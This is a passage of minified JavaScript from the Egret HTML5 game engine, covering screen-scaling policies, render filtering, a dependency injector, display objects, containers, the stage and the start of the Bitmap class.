a(d,c){this._containerStrategy=d;this._contentStrategy=c}a.prototype.init=function(b){this._containerStrategy.init(b);this._contentStrategy.init(b)};a.prototype._apply=function(f,e,c){this._containerStrategy._apply(f,e,c);this._contentStrategy._apply(f,e,c)};return a}();j.ResolutionPolicy=i;i.prototype.__class__="egret.ResolutionPolicy";var g=function(){function a(){}a.initialize=function(){a.EQUAL_TO_FRAME=new h};a.prototype.init=function(b){};a.prototype._apply=function(f,e,c){};a.prototype._setupContainer=function(){var c=document.body,b;c&&(b=c.style)&&(b.paddingTop=b.paddingTop||"0px",b.paddingRight=b.paddingRight||"0px",b.paddingBottom=b.paddingBottom||"0px",b.paddingLeft=b.paddingLeft||"0px",b.borderTop=b.borderTop||"0px",b.borderRight=b.borderRight||"0px",b.borderBottom=b.borderBottom||"0px",b.borderLeft=b.borderLeft||"0px",b.marginTop=b.marginTop||"0px",b.marginRight=b.marginRight||"0px",b.marginBottom=b.marginBottom||"0px",b.marginLeft=b.marginLeft||"0px")};return a}();j.ContainerStrategy=g;g.prototype.__class__="egret.ContainerStrategy";var h=function(c){function b(){c.apply(this,arguments)}__extends(b,c);b.prototype._apply=function(a){this._setupContainer()};return b}(g);j.EqualToFrame=h;h.prototype.__class__="egret.EqualToFrame";i=function(){function a(){}a.prototype.init=function(b){};a.prototype._apply=function(f,e,c){};return a}();j.ContentStrategy=i;i.prototype.__class__="egret.ContentStrategy";var k=function(c){function b(a){"undefined"===typeof a&&(a=0);c.call(this);this.minWidth=a}__extends(b,c);b.prototype._apply=function(u,w,v){w=document.getElementById(l.canvas_name);var m=document.getElementById(l.canvas_div_name),q=document.documentElement.clientWidth,p=document.documentElement.clientHeight,x=p/v,o=q/x,y=1;0!=this.minWidth&&(y=Math.min(1,o/this.minWidth));w.width=o/y;w.height=v;w.style.width=q+"px";w.style.height=p*y+"px";m.style.width=q+"px";m.style.height=p*y+"px";u._scaleX=x*y;u._scaleY=x*y};return b}(i);j.FixedHeight=k;k.prototype.__class__="egret.FixedHeight";k=function(c){function b(a){"undefined"===typeof a&&(a=0);c.call(this);this.minHeight=a}__extends(b,c);b.prototype._apply=function(u,w,v){v=document.getElementById(l.canvas_name);var m=document.getElementById(l.canvas_div_name),q=document.documentElement.clientWidth,p=document.documentElement.clientHeight,x=q/w,o=p/x,y=1;0!=this.minHeight&&(y=Math.min(1,o/this.minHeight));v.width=w;v.height=o/y;v.style.width=q*y+"px";v.style.height=p+"px";m.style.width=q*y+"px";m.style.height=p+"px";u._scaleX=x*y;u._scaleY=x*y};return b}(i);j.FixedWidth=k;k.prototype.__class__="egret.FixedWidth";k=function(c){function b(a,d){c.call(this);this.width=a;this.height=d}__extends(b,c);b.prototype._apply=function(u,n,m){m=document.getElementById(l.canvas_name);var p=document.getElementById(l.canvas_div_name),s=this.width,q=this.height,o=s/n;m.width=n;m.height=q/o;m.style.width=s+"px";m.style.height=q+"px";p.style.width=s+"px";p.style.height=q+"px";u._scaleX=o;u._scaleY=o};return b}(i);j.FixedSize=k;k.prototype.__class__="egret.FixedSize";k=function(c){function b(){c.call(this)}__extends(b,c);b.prototype._apply=function(m,f,e){f=document.getElementById(l.canvas_name);f.style.width=f.width+"px";f.style.height=f.height+"px";m._scaleX=1;m._scaleY=1};return b}(i);j.NoScale=k;k.prototype.__class__="egret.NoScale";i=function(c){function b(){c.call(this)}__extends(b,c);b.prototype._apply=function(v,o,m){var q=document.getElementById(l.canvas_name),u=document.getElementById(l.canvas_div_name),s=document.documentElement.clientWidth,p=document.documentElement.clientHeight,w=s/o<p/m?s/o:p/m,s=o*w,p=m*w;q.width=o;q.height=m/1;q.style.width=1*s+"px";q.style.height=p+"px";q.style.top=Math.floor((document.documentElement.clientHeight-p)/2)+"px";u.style.width=1*s+"px";u.style.height=p+"px";v._scaleX=1*w;v._scaleY=1*w};return b}(i);j.ShowAll=i;i.prototype.__class__="egret.ShowAll"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._originalData={};this._drawAreaList=[]}__extends(d,e);d.getInstance=function(){null==d.instance&&(d.instance=new d);return d.instance};d.prototype.addDrawArea=function(c){this._drawAreaList.push(c)};d.prototype.clearDrawArea=function(){this._drawAreaList=[]};d.prototype.drawImage=function(K,H,J,I,G,E,F,D,C,B){F=F||0;D=D||0;var u=H._texture_to_render;if(null!=u&&0!=E&&0!=G&&0!=C&&0!=B){if(H._worldBounds){var A=this._originalData;A.sourceX=J;A.sourceY=I;A.sourceWidth=G;A.sourceHeight=E;A.destX=F;A.destY=D;A.destWidth=C;A.destHeight=B;for(var t=this.getDrawAreaList(),o=0;o<t.length;o++){var j=t[o];if(!this.ignoreRender(H,j,A.destX,A.destY)){if(0!=this._drawAreaList.length){if(0!=H._worldTransform.b||0!=H._worldTransform.c){if(H._worldBounds.x+A.destX<j.x||H._worldBounds.y+A.destY<j.y||H._worldBounds.x+H._worldBounds.width+A.destX>j.x+j.width||H._worldBounds.y+H._worldBounds.height+A.destY>j.y+j.height){a.Logger.fatal("\u8bf7\u4e0d\u8981\u8ba9\u5e26\u6709\u65cb\u8f6c\u548c\u659c\u5207\u7684\u663e\u793a\u5bf9\u8c61\u8de8\u8fc7\u91cd\u7ed8\u533a\u57df");break}}else{var p=H._worldTransform.a,i=H._worldTransform.d,r;H._worldBounds.x+A.destX<j.x&&(r=(j.x-H._worldBounds.x)/p-A.destX,J+=r/(C/G),G-=r/(C/G),C-=r,F+=r);H._worldBounds.y+A.destY<j.y&&(r=(j.y-H._worldBounds.y)/i-A.destY,I+=r/(B/E),E-=r/(B/E),B-=r,D+=r);H._worldBounds.x+H._worldBounds.width+A.destX>j.x+j.width&&(r=(H._worldBounds.x+H._worldBounds.width-j.x-j.width)/p+A.destX,G-=r/(C/G),C-=r);H._worldBounds.y+H._worldBounds.height+A.destY>j.y+j.height&&(r=(H._worldBounds.y+H._worldBounds.height-j.y-j.height)/i+A.destY,E-=r/(B/E),B-=r)}}K.drawImage(u,J,I,G,E,F,D,C,B)}}}else{K.drawImage(u,J,I,G,E,F,D,C,B)}}};d.prototype.ignoreRender=function(g,i,f,h){var j=g._worldBounds;f*=g._worldTransform.a;h*=g._worldTransform.d;return j.x+j.width+f<=i.x||j.x+f>=i.x+i.width||j.y+j.height+h<=i.y||j.y+h>=i.y+i.height?!0:!1};d.prototype.getDrawAreaList=function(){var c;0==this._drawAreaList.length?(this._defaultDrawAreaList||(this._defaultDrawAreaList=[new a.Rectangle(0,0,a.MainContext.instance.stage.stageWidth,a.MainContext.instance.stage.stageHeight)]),c=this._defaultDrawAreaList):c=this._drawAreaList;return c};return d}(a.HashObject);a.RenderFilter=b;b.prototype.__class__="egret.RenderFilter"})(egret||(egret={}));(function(a){var b=function(){function d(){}d.mapClass=function(c,e,f){"undefined"===typeof f&&(f="");c=this.getKey(c)+"#"+f;this.mapClassDic[c]=e};d.getKey=function(c){return"string"==typeof c?c:a.getQualifiedClassName(c)};d.mapValue=function(c,e,f){"undefined"===typeof f&&(f="");c=this.getKey(c)+"#"+f;this.mapValueDic[c]=e};d.hasMapRule=function(c,e){"undefined"===typeof e&&(e="");var f=this.getKey(c)+"#"+e;return this.mapValueDic[f]||this.mapClassDic[f]?!0:!1};d.getInstance=function(c,e){"undefined"===typeof e&&(e="");var g=this.getKey(c)+"#"+e;if(this.mapValueDic[g]){return this.mapValueDic[g]}var f=this.mapClassDic[g];if(f){return f=new f,this.mapValueDic[g]=f,delete this.mapClassDic[g],f}throw Error("\u8c03\u7528\u4e86\u672a\u914d\u7f6e\u7684\u6ce8\u5165\u89c4\u5219:"+g+"\u3002 \u8bf7\u5148\u5728\u9879\u76ee\u521d\u59cb\u5316\u91cc\u914d\u7f6e\u6307\u5b9a\u7684\u6ce8\u5165\u89c4\u5219\uff0c\u518d\u8c03\u7528\u5bf9\u5e94\u5355\u4f8b\u3002")};d.mapClassDic={};d.mapValueDic={};return d}();a.Injector=b;b.prototype.__class__="egret.Injector"})(egret||(egret={}));(function(a){var b=function(){function c(){}c.NORMAL="normal";c.ADD="add";c.LAYER="layer";return c}();a.BlendMode=b;b.prototype.__class__="egret.BlendMode"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._sizeDirty=this._normalDirty=!0;this._parent=null;this._cacheAsBitmap=!1;this._y=this._x=0;this._scaleY=this._scaleX=1;this._anchorY=this._anchorX=this._anchorOffsetY=this._anchorOffsetX=0;this._visible=!0;this._rotation=0;this._alpha=1;this._skewY=this._skewX=0;this._hasHeightSet=this._hasWidthSet=!1;this.worldAlpha=1;this._rectH=this._rectW=0;this._stage=null;this._worldTransform=new a.Matrix;this._cacheBounds=new a.Rectangle(0,0,0,0)}__extends(d,e);d.prototype._setDirty=function(){this._normalDirty=!0};d.prototype.getDirty=function(){return this._normalDirty||this._sizeDirty};d.prototype._setParentSizeDirty=function(){!this.parent||this.parent._hasWidthSet||this.parent._hasHeightSet||this.parent._setSizeDirty()};d.prototype._setSizeDirty=function(){this._sizeDirty||(this._sizeDirty=!0,this._setDirty(),this._setParentSizeDirty())};d.prototype._clearDirty=function(){this._normalDirty=!1};d.prototype._clearSizeDirty=function(){this._sizeDirty=!1};Object.defineProperty(d.prototype,"parent",{get:function(){return this._parent},enumerable:!0,configurable:!0});d.prototype._parentChanged=function(c){this._parent=c};Object.defineProperty(d.prototype,"x",{get:function(){return this._x},set:function(c){a.NumberUtils.isNumber(c)&&(this._x=c,this._setDirty(),this._setParentSizeDirty())},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"y",{get:function(){return this._y},set:function(c){a.NumberUtils.isNumber(c)&&(this._y=c,this._setDirty(),this._setParentSizeDirty())},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"scaleX",{get:function(){return this._scaleX},set:function(c){a.NumberUtils.isNumber(c)&&(this._scaleX=c,this._setDirty(),this._setParentSizeDirty())},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"scaleY",{get:function(){return this._scaleY},set:function(c){a.NumberUtils.isNumber(c)&&(this._scaleY=c,this._setDirty(),this._setParentSizeDirty())},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"anchorOffsetX",{get:function(){return this._anchorOffsetX},set:function(c){a.NumberUtils.isNumber(c)&&(this._anchorOffsetX=c,this._setDirty(),this._setParentSizeDirty())},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"anchorOffsetY",{get:function(){return this._anchorOffsetY},set:function(c){a.NumberUtils.isNumber(c)&&(this._anchorOffsetY=c,this._setDirty(),this._setParentSizeDirty())},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"anchorX",{get:function(){return this._anchorX},set:function(c){a.NumberUtils.isNumber(c)&&(this._anchorX=c,this._setDirty(),this._setParentSizeDirty())},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"anchorY",{get:function(){return this._anchorY},set:function(c){a.NumberUtils.isNumber(c)&&(this._anchorY=c,this._setDirty(),this._setParentSizeDirty())},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"visible",{get:function(){return this._visible},set:function(c){this._visible=c;this._setSizeDirty()},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"rotation",{get:function(){return this._rotation},set:function(c){a.NumberUtils.isNumber(c)&&(this._rotation=c,this._setSizeDirty())},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"alpha",{get:function(){return this._alpha},set:function(c){a.NumberUtils.isNumber(c)&&(this._alpha=c,this._setDirty())},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"skewX",{get:function(){return this._skewX},set:function(c){a.NumberUtils.isNumber(c)&&(this._skewX=c,this._setSizeDirty())},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"skewY",{get:function(){return this._skewY},set:function(c){a.NumberUtils.isNumber(c)&&(this._skewY=c,this._setSizeDirty())},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"touchEnabled",{get:function(){return this._touchEnabled},set:function(c){this._touchEnabled=c},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"scrollRect",{get:function(){return this._scrollRect},set:function(c){this._scrollRect=c;this._setSizeDirty()},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"measuredWidth",{get:function(){return this._measureBounds().width},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"measuredHeight",{get:function(){return this._measureBounds().height},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"explicitWidth",{get:function(){return this._explicitWidth},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"explicitHeight",{get:function(){return this._explicitHeight},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"width",{get:function(){return this._getSize(a.Rectangle.identity).width},set:function(c){this._setWidth(c)},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"height",{get:function(){return this._getSize(a.Rectangle.identity).height},set:function(c){this._setHeight(c)},enumerable:!0,configurable:!0});d.prototype._setWidth=function(c){this._setSizeDirty();this._explicitWidth=c;this._hasWidthSet=a.NumberUtils.isNumber(c)};d.prototype._setHeight=function(c){this._setSizeDirty();this._explicitHeight=c;this._hasHeightSet=a.NumberUtils.isNumber(c)};d.prototype._draw=function(c){if(this.visible&&!this.drawCacheTexture(c)){c.setAlpha(this.worldAlpha,this.blendMode);c.setTransform(this._worldTransform);var f=this.mask||this._scrollRect;f&&c.pushMask(f);this._render(c);f&&c.popMask()}this.destroyCacheBounds()};d.prototype.drawCacheTexture=function(i){if(this._cacheAsBitmap){var l=this._texture_to_render,g=l._offsetX,m=l._offsetY,k=l._textureWidth,l=l._textureHeight;this._updateTransform();i.setAlpha(this.worldAlpha,this.blendMode);i.setTransform(this._worldTransform);var j=a.MainContext.instance.rendererContext.texture_scale_factor;a.RenderFilter.getInstance().drawImage(i,this,0,0,k*j,l*j,g,m,k,l);return !0}return !1};d.prototype._updateTransform=function(){this._worldTransform.identity().appendMatrix(this._parent._worldTransform);var c=this._getOffsetPoint();this._worldTransform.appendTransform(this._x,this._y,this._scaleX,this._scaleY,this._rotation,this._skewX,this._skewY,c.x,c.y);this._scrollRect&&this._worldTransform.append(1,0,0,1,-this._scrollRect.x,-this._scrollRect.y);this.worldAlpha=this._parent.worldAlpha*this._alpha};d.prototype._render=function(c){};d.prototype.getBounds=function(j){var n=this._measureBounds(),i=this._hasWidthSet?this._explicitWidth:n.width,o=this._hasHeightSet?this._explicitHeight:n.height,m=n.x,n=n.y,k,l;0!=this._anchorX||0!=this._anchorY?(k=i*this._anchorX,l=o*this._anchorY):(k=this._anchorOffsetX,l=this._anchorOffsetY);this._cacheBounds.initialize(m-k,n-l,i,o);i=this._cacheBounds;j||(j=new a.Rectangle);return j.initialize(i.x,i.y,i.width,i.height)};d.prototype.destroyCacheBounds=function(){this._cacheBounds.x=0;this._cacheBounds.y=0;this._cacheBounds.width=0;this._cacheBounds.height=0};d.prototype._getConcatenatedMatrix=function(){for(var c=d.identityMatrixForGetConcatenated.identity(),g=this;null!=g;){if(0!=g._anchorX||0!=g._anchorY){var f=g._getSize(a.Rectangle.identity);c.prependTransform(g._x,g._y,g._scaleX,g._scaleY,g._rotation,g._skewX,g._skewY,f.width*g._anchorX,f.height*g._anchorY)}else{c.prependTransform(g._x,g._y,g._scaleX,g._scaleY,g._rotation,g._skewX,g._skewY,g._anchorOffsetX,g._anchorOffsetY)}g=g._parent}return c};d.prototype.localToGlobal=function(g,h,f){"undefined"===typeof g&&(g=0);"undefined"===typeof h&&(h=0);var i=this._getConcatenatedMatrix();i.append(1,0,0,1,g,h);f||(f=new a.Point);f.x=i.tx;f.y=i.ty;return f};d.prototype.globalToLocal=function(g,h,f){"undefined"===typeof g&&(g=0);"undefined"===typeof h&&(h=0);var i=this._getConcatenatedMatrix();i.invert();i.append(1,0,0,1,g,h);f||(f=new a.Point);f.x=i.tx;f.y=i.ty;return f};d.prototype.hitTest=function(f,g,c){"undefined"===typeof c&&(c=!1);if(!this.visible||!c&&!this._touchEnabled){return null}c=this._getSize(a.Rectangle.identity);return 0<=f&&f<c.width&&0<=g&&g<c.height?this.mask||this._scrollRect?this._scrollRect&&f<this._scrollRect.width&&g<this._scrollRect.height||this.mask&&this.mask.x<=f&&f<this.mask.x+this.mask.width&&this.mask.y<=g&&g<this.mask.y+this.mask.height?this:null:this:null};d.prototype.hitTestPoint=function(f,g,c){f=this.globalToLocal(f,g);return c?(this._hitTestPointTexture||(this._hitTestPointTexture=new a.RenderTexture),c=this._hitTestPointTexture,c.drawToTexture(this),0!=c.getPixel32(f.x-this._hitTestPointTexture._offsetX,f.y-this._hitTestPointTexture._offsetY)[3]?!0:!1):!!this.hitTest(f.x,f.y,!0)};d.prototype._getMatrix=function(){var c=a.Matrix.identity.identity(),f=this._getOffsetPoint();c.appendTransform(this._x,this._y,this._scaleX,this._scaleY,this._rotation,this._skewX,this._skewY,f.x,f.y);return c};d.prototype._getSize=function(c){return this._hasHeightSet&&this._hasWidthSet?c.initialize(0,0,this._explicitWidth,this._explicitHeight):this._measureSize(a.Rectangle.identity)};d.prototype._measureSize=function(c){this._sizeDirty?(c=this._measureBounds(),this._rectW=c.width,this._rectH=c.height,this._clearSizeDirty()):(c.width=this._rectW,c.height=this._rectH);return c};d.prototype._measureBounds=function(){return a.Rectangle.identity.initialize(0,0,0,0)};d.prototype._getOffsetPoint=function(){var f=this._anchorOffsetX,g=this._anchorOffsetY;if(0!=this._anchorX||0!=this._anchorY){g=this._getSize(a.Rectangle.identity),f=this._anchorX*g.width,g=this._anchorY*g.height}var c=a.Point.identity;c.x=f;c.y=g;return c};d.prototype._onAddToStage=function(){this._stage=a.MainContext.instance.stage;a.DisplayObjectContainer.__EVENT__ADD_TO_STAGE_LIST.push(this)};d.prototype._onRemoveFromStage=function(){this._stage=null;a.DisplayObjectContainer.__EVENT__REMOVE_FROM_STAGE_LIST.push(this)};Object.defineProperty(d.prototype,"stage",{get:function(){return this._stage},enumerable:!0,configurable:!0});d.prototype.addEventListener=function(c,i,g,f,h){"undefined"===typeof f&&(f=!1);"undefined"===typeof h&&(h=0);e.prototype.addEventListener.call(this,c,i,g,f,h);((f=c==a.Event.ENTER_FRAME)||c==a.Event.RENDER)&&this._insertEventBin(f?d._enterFrameCallBackList:d._renderCallBackList,i,g,h)};d.prototype.removeEventListener=function(c,h,g,f){"undefined"===typeof f&&(f=!1);e.prototype.removeEventListener.call(this,c,h,g,f);((f=c==a.Event.ENTER_FRAME)||c==a.Event.RENDER)&&this._removeEventBin(f?d._enterFrameCallBackList:d._renderCallBackList,h,g)};d.prototype.dispatchEvent=function(f){if(!f._bubbles){return e.prototype.dispatchEvent.call(this,f)}for(var h=[],c=this;c;){h.unshift(c),c=c.parent}for(var g=h.length,c=g-1,g=g-2;0<=g;g--){h.push(h[g])}f._reset();this._dispatchPropagationEvent(f,h,c);return !f.isDefaultPrevented()};d.prototype._dispatchPropagationEvent=function(h,k,g){for(var j=k.length,l=0;l<j;l++){var i=k[l];h._setCurrentTarget(i);h._target=this;h._eventPhase=l<g?1:l==g?2:3;i._notifyListener(h);if(h._isPropagationStopped||h._isPropagationImmediateStopped){break}}};d.prototype.willTrigger=function(c){for(var f=this;f;){if(f.hasEventListener(c)){return !0}f=f._parent}return !1};Object.defineProperty(d.prototype,"cacheAsBitmap",{get:function(){return this._cacheAsBitmap},set:function(c){(this._cacheAsBitmap=c)?(this.renderTexture||(this.renderTexture=new a.RenderTexture),this.renderTexture.drawToTexture(this),this._texture_to_render=this.renderTexture):this._texture_to_render=null},enumerable:!0,configurable:!0});d.getTransformBounds=function(A,v){var y,u,w=A.width,t=A.height,r=w*v.a,w=w*v.b,p=t*v.c,t=t*v.d,o=v.tx,j=v.ty,h=o,i=o,B=j,z=j;(y=r+o)<h?h=y:y>i&&(i=y);(y=r+p+o)<h?h=y:y>i&&(i=y);(y=p+o)<h?h=y:y>i&&(i=y);(u=w+j)<B?B=u:u>z&&(z=u);(u=w+t+j)<B?B=u:u>z&&(z=u);(u=t+j)<B?B=u:u>z&&(z=u);return A.initialize(h,B,i-h,z-B)};d.identityMatrixForGetConcatenated=new a.Matrix;d._enterFrameCallBackList=[];d._renderCallBackList=[];return d}(a.EventDispatcher);a.DisplayObject=b;b.prototype.__class__="egret.DisplayObject"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._touchChildren=!0;this._children=[]}__extends(d,e);Object.defineProperty(d.prototype,"touchChildren",{get:function(){return this._touchChildren},set:function(c){this._touchChildren=c},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"numChildren",{get:function(){return this._children.length},enumerable:!0,configurable:!0});d.prototype.setChildIndex=function(c,f){this.doSetChildIndex(c,f)};d.prototype.doSetChildIndex=function(f,g){var c=this._children.indexOf(f);0>c&&a.Logger.fatal("child\u4e0d\u5728\u5f53\u524d\u5bb9\u5668\u5185");this._children.splice(c,1);0>g||this._children.length<=g?this._children.push(f):this._children.splice(g,0,f)};d.prototype.addChild=function(c){var f=this.numChildren;c._parent==this&&f--;return this._doAddChild(c,f)};d.prototype.addChildAt=function(c,f){return this._doAddChild(c,f)};d.prototype._doAddChild=function(f,h,g){"undefined"===typeof g&&(g=!0);if(f==this){return f}if(0>h||h>this._children.length){return a.Logger.fatal("\u63d0\u4f9b\u7684\u7d22\u5f15\u8d85\u51fa\u8303\u56f4"),f}var i=f.parent;if(i==this){return this.doSetChildIndex(f,h),f}i&&i.removeChild(f);this._children.splice(h,0,f);f._parentChanged(this);g&&f.dispatchEventWith(a.Event.ADDED,!0);if(this._stage){for(f._onAddToStage(),h=d.__EVENT__ADD_TO_STAGE_LIST;0<h.length;){h.shift().dispatchEventWith(a.Event.ADDED_TO_STAGE)}}f._setDirty();this._setSizeDirty();return f};d.prototype.removeChild=function(c){c=this._children.indexOf(c);if(0<=c){return this._doRemoveChild(c)}a.Logger.fatal("child\u672a\u88abaddChild\u5230\u8be5parent");return null};d.prototype.removeChildAt=function(c){if(0<=c&&c<this._children.length){return this._doRemoveChild(c)}a.Logger.fatal("\u63d0\u4f9b\u7684\u7d22\u5f15\u8d85\u51fa\u8303\u56f4");return null};d.prototype._doRemoveChild=function(g,j){"undefined"===typeof j&&(j=!0);var h=this._children,k=h[g];j&&k.dispatchEventWith(a.Event.REMOVED,!0);if(this._stage){k._onRemoveFromStage();for(var i=d.__EVENT__REMOVE_FROM_STAGE_LIST;0<i.length;){i.shift().dispatchEventWith(a.Event.REMOVED_FROM_STAGE)}}k._parentChanged(null);h.splice(g,1);this._setSizeDirty();return k};d.prototype.getChildAt=function(c){if(0<=c&&c<this._children.length){return this._children[c]}a.Logger.fatal("\u63d0\u4f9b\u7684\u7d22\u5f15\u8d85\u51fa\u8303\u56f4");return null};d.prototype.contains=function(c){for(;c;){if(c==this){return !0}c=c._parent}return !1};d.prototype.swapChildrenAt=function(c,f){0<=c&&c<this._children.length&&0<=f&&f<this._children.length?this._swapChildrenAt(c,f):a.Logger.fatal("\u63d0\u4f9b\u7684\u7d22\u5f15\u8d85\u51fa\u8303\u56f4")};d.prototype.swapChildren=function(g,h){var f=this._children.indexOf(g),i=this._children.indexOf(h);-1==f||-1==i?a.Logger.fatal("child\u672a\u88abaddChild\u5230\u8be5parent"):this._swapChildrenAt(f,i)};d.prototype._swapChildrenAt=function(f,h){if(f!=h){var c=this._children,g=c[f];c[f]=c[h];c[h]=g}};d.prototype.getChildIndex=function(c){return this._children.indexOf(c)};d.prototype.removeChildren=function(){for(var c=this._children.length-1;0<=c;c--){this._doRemoveChild(c)}};d.prototype._updateTransform=function(){if(this.visible){e.prototype._updateTransform.call(this);for(var c=0,f=this._children.length;c<f;c++){this._children[c]._updateTransform()}}};d.prototype._render=function(f){for(var g=0,c=this._children.length;g<c;g++){this._children[g]._draw(f)}};d.prototype._measureBounds=function(){for(var w=0,t=0,v=0,u=0,s=this._children.length,p=0;p<s;p++){var r=this._children[p],o;if(r.visible&&(o=a.DisplayObject.getTransformBounds(r._getSize(a.Rectangle.identity),r._getMatrix()))){var r=o.x,n=o.y,j=o.width+o.x,i=o.height+o.y;if(r<w||0==p){w=r}if(j>t||0==p){t=j}if(n<v||0==p){v=n}if(i>u||0==p){u=i}}}return a.Rectangle.identity.initialize(w,v,t-w,u-v)};d.prototype.hitTest=function(x,v,w){"undefined"===typeof w&&(w=!1);var y;if(!this.visible){return null}if(this._scrollRect){if(0>x||0>v||x>this._scrollRect.width||v>this._scrollRect.height){return null}}else{if(this.mask&&(this.mask.x>x||x>this.mask.x+this.mask.width||this.mask.y>v||v>this.mask.y+this.mask.height)){return null}}for(var f=this._children,s=this._touchChildren,u=f.length-1;0<=u;u--){var r=f[u],o=r,j=o._getOffsetPoint(),c=o._x,i=o._y;this._scrollRect&&(c-=this._scrollRect.x,i-=this._scrollRect.y);o=a.Matrix.identity.identity().prependTransform(c,i,o._scaleX,o._scaleY,o._rotation,0,0,j.x,j.y);o.invert();o=a.Matrix.transformCoords(o,x,v);if(r=r.hitTest(o.x,o.y,!0)){if(r._touchEnabled&&s){return r}if(this._touchEnabled){return this}null==y&&(y=r)}}return y?y:e.prototype.hitTest.call(this,x,v,w)};d.prototype._onAddToStage=function(){e.prototype._onAddToStage.call(this);for(var c=this.numChildren,f=0;f<c;f++){this._children[f]._onAddToStage()}};d.prototype._onRemoveFromStage=function(){e.prototype._onRemoveFromStage.call(this);for(var c=this.numChildren,f=0;f<c;f++){this._children[f]._onRemoveFromStage()}};d.prototype.getChildByName=function(g){for(var i=this._children,f=this.numChildren,h,j=0;j<f;j++){if(h=i[j],h.name==g){return h}}return null};d.__EVENT__ADD_TO_STAGE_LIST=[];d.__EVENT__REMOVE_FROM_STAGE_LIST=[];return d}(a.DisplayObject);a.DisplayObjectContainer=b;b.prototype.__class__="egret.DisplayObjectContainer"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(c,f){"undefined"===typeof c&&(c=480);"undefined"===typeof f&&(f=800);e.call(this);this.touchEnabled=!0;this._stage=this;this._stageWidth=c;this._stageHeight=f}__extends(d,e);d.prototype.invalidate=function(){d._invalidateRenderFlag=!0};Object.defineProperty(d.prototype,"scaleMode",{get:function(){return this._scaleMode},set:function(c){if(this._scaleMode!=c){this._scaleMode=c;var f={};f[a.StageScaleMode.NO_SCALE]=new a.NoScale;f[a.StageScaleMode.SHOW_ALL]=new a.ShowAll;f[a.StageScaleMode.NO_BORDER]=new a.FixedWidth;c=f[c];if(!c){throw Error("\u4f7f\u7528\u4e86\u5c1a\u672a\u5b9e\u73b0\u7684ScaleMode")}f=new a.EqualToFrame;c=new a.ResolutionPolicy(f,c);a.StageDelegate.getInstance()._setResolutionPolicy(c);c=document.getElementById(a.StageDelegate.canvas_name);this._stageWidth=c.width;this._stageHeight=c.height;this.dispatchEventWith(a.Event.RESIZE)}},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"stageWidth",{get:function(){return this._stageWidth},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"stageHeight",{get:function(){return this._stageHeight},enumerable:!0,configurable:!0});d.prototype.hitTest=function(j,n){if(!this.touchEnabled){return null}var i;if(!this.visible){return this}for(var o=this._children,m=o.length-1;0<=m;m--){var k=i=o[m],l=k._getOffsetPoint(),k=a.Matrix.identity.identity().prependTransform(k.x,k.y,k.scaleX,k.scaleY,k.rotation,0,0,l.x,l.y);k.invert();k=a.Matrix.transformCoords(k,j,n);if((i=i.hitTest(k.x,k.y,!0))&&i.touchEnabled){return i}}return this};d.prototype.getBounds=function(c){c||(c=new a.Rectangle);return c.initialize(0,0,this._stageWidth,this._stageHeight)};d.prototype._updateTransform=function(){for(var c=0,f=this._children.length;c<f;c++){this._children[c]._updateTransform()}};d._invalidateRenderFlag=!1;return d}(a.DisplayObjectContainer);a.Stage=b;b.prototype.__class__="egret.Stage"})(egret||(egret={}));(function(a){var b=function(){function c(){}c.NO_BORDER="noBorder";c.NO_SCALE="noScale";c.SHOW_ALL="showAll";return c}();a.StageScaleMode=b;b.prototype.__class__="egret.StageScaleMode"})(egret||(egret={}));(function(a){var b=function(){function c(){}c.REPEAT="repeat";c.SCALE="scale";return c}();a.BitmapFillMode=b;b.prototype.__class__="egret.BitmapFillMode"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(c){e.call(this);this.debug=!1;this.debugColor=16711680;this.fillMode="scale";c&&(this._texture=c,this._setSizeDirty())}__extends(d,e);Object.defineProperty(d.prototype,"texture",{get:function(){return this._texture},set:function(c){c!=this._texture&&(this._setSizeDirty(),this._texture=c)},enumerable:!0,configurable:!0});d.prototype._render=function(c){var f=this._texture;f?(this._texture_to_render=f,d._drawBitmap(c,this._hasWidthSet?this._explicitWidth:f._textureWidth,this._hasHeightSet?this._explicitHeight:f._textureHeight,this)):this._texture_to_render=null};d._drawBitmap=function(x,v,i,w){var u=w._texture_to_render;if(u){var s=u._textureWidth,t=u._textureHeight;if("scale"==w.fillMode){var 